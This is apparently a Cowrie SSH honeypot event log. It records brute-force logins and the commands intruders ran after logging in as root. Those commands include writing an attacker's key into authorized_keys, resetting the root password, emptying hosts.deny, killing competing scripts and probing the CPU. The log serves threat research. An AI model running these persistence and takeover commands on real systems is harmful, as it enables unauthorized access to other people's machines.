{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:11.213450Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.240.90","src_port":60194,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d864c32ae38","protocol":"ssh","message":"New connection: 160.187.240.90:60194 (10.17.0.5:22) [session: 9d864c32ae38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:11.443975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:11.448373Z","src_ip":"160.187.240.90","session":"9d864c32ae38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:11.686446Z","src_ip":"160.187.240.90","session":"9d864c32ae38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:12.673102Z","src_ip":"160.187.240.90","session":"9d864c32ae38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:13.914634Z","src_ip":"160.187.240.90","session":"9d864c32ae38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.240.90","src_port":39434,"dst_ip":"10.17.0.5","dst_port":22,"session":"1293a38b2341","protocol":"ssh","message":"New connection: 160.187.240.90:39434 (10.17.0.5:22) [session: 1293a38b2341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:14.153229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:14.157403Z","src_ip":"160.187.240.90","session":"1293a38b2341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:14.400911Z","src_ip":"160.187.240.90","session":"1293a38b2341","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:15.402564Z","src_ip":"160.187.240.90","session":"1293a38b2341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:15.647076Z","src_ip":"160.187.240.90","session":"bf992f5bd9ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:15.652594Z","src_ip":"160.187.240.90","session":"1293a38b2341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.202","src_port":63940,"dst_ip":"159.203.135.109","dst_port":22,"session":"656b927d677d","protocol":"ssh","message":"New connection: 198.235.24.202:63940 (159.203.135.109:22) [session: 656b927d677d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:49.402056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:50.521042Z","src_ip":"198.235.24.202","session":"656b927d677d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:51.429996Z","src_ip":"198.235.24.202","session":"656b927d677d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:57:59.152356Z","src_ip":"198.235.24.202","session":"656b927d677d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.122.215","src_port":52360,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb8335985fc0","protocol":"ssh","message":"New connection: 14.103.122.215:52360 (10.17.0.5:22) [session: cb8335985fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:47.153875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:47.158444Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:48.113626Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin#@!","message":"login attempt [root/Admin#@!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:49.125332Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:49.651454Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:49.654707Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:49.658655Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:49.906992Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:50.430477Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:50.433884Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:50.683877Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:50.687341Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.122.215","src_port":52370,"dst_ip":"10.17.0.5","dst_port":22,"session":"33e83f0f2402","protocol":"ssh","message":"New connection: 14.103.122.215:52370 (10.17.0.5:22) [session: 33e83f0f2402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:50.919136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:50.923805Z","src_ip":"14.103.122.215","session":"33e83f0f2402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:51.162922Z","src_ip":"14.103.122.215","session":"33e83f0f2402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:52.837631Z","src_ip":"14.103.122.215","session":"33e83f0f2402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:58:54.080514Z","src_ip":"14.103.122.215","session":"33e83f0f2402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:02.386960Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:02.390527Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:02.640649Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:03.227469Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"root:JzG9yynmt2Cg\"|chpasswd|bash","message":"CMD: echo \"root:JzG9yynmt2Cg\"|chpasswd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:03.230772Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab29d2c3c330836caf5c19d9c2fb324debb5113b6ad36915adbdc9b8b5f5e7b5","size":24,"shasum":"ab29d2c3c330836caf5c19d9c2fb324debb5113b6ad36915adbdc9b8b5f5e7b5","duplicate":false,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/ab29d2c3c330836caf5c19d9c2fb324debb5113b6ad36915adbdc9b8b5f5e7b5 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:03.954262Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:04.530707Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","message":"CMD: rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:04.534261Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","shasum":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","destfile":"/etc/hosts.deny","message":"Saved redir contents with SHA-256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b to var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:05.746355Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","size":0,"shasum":"a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","duplicate":true,"duration":"1.2","message":"Closing TTY Log: var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:05.749378Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:06.267353Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:59:06.270164Z","src_ip":"14.103.122.215","session":"cb8335985fc0","protocol":"ssh"}
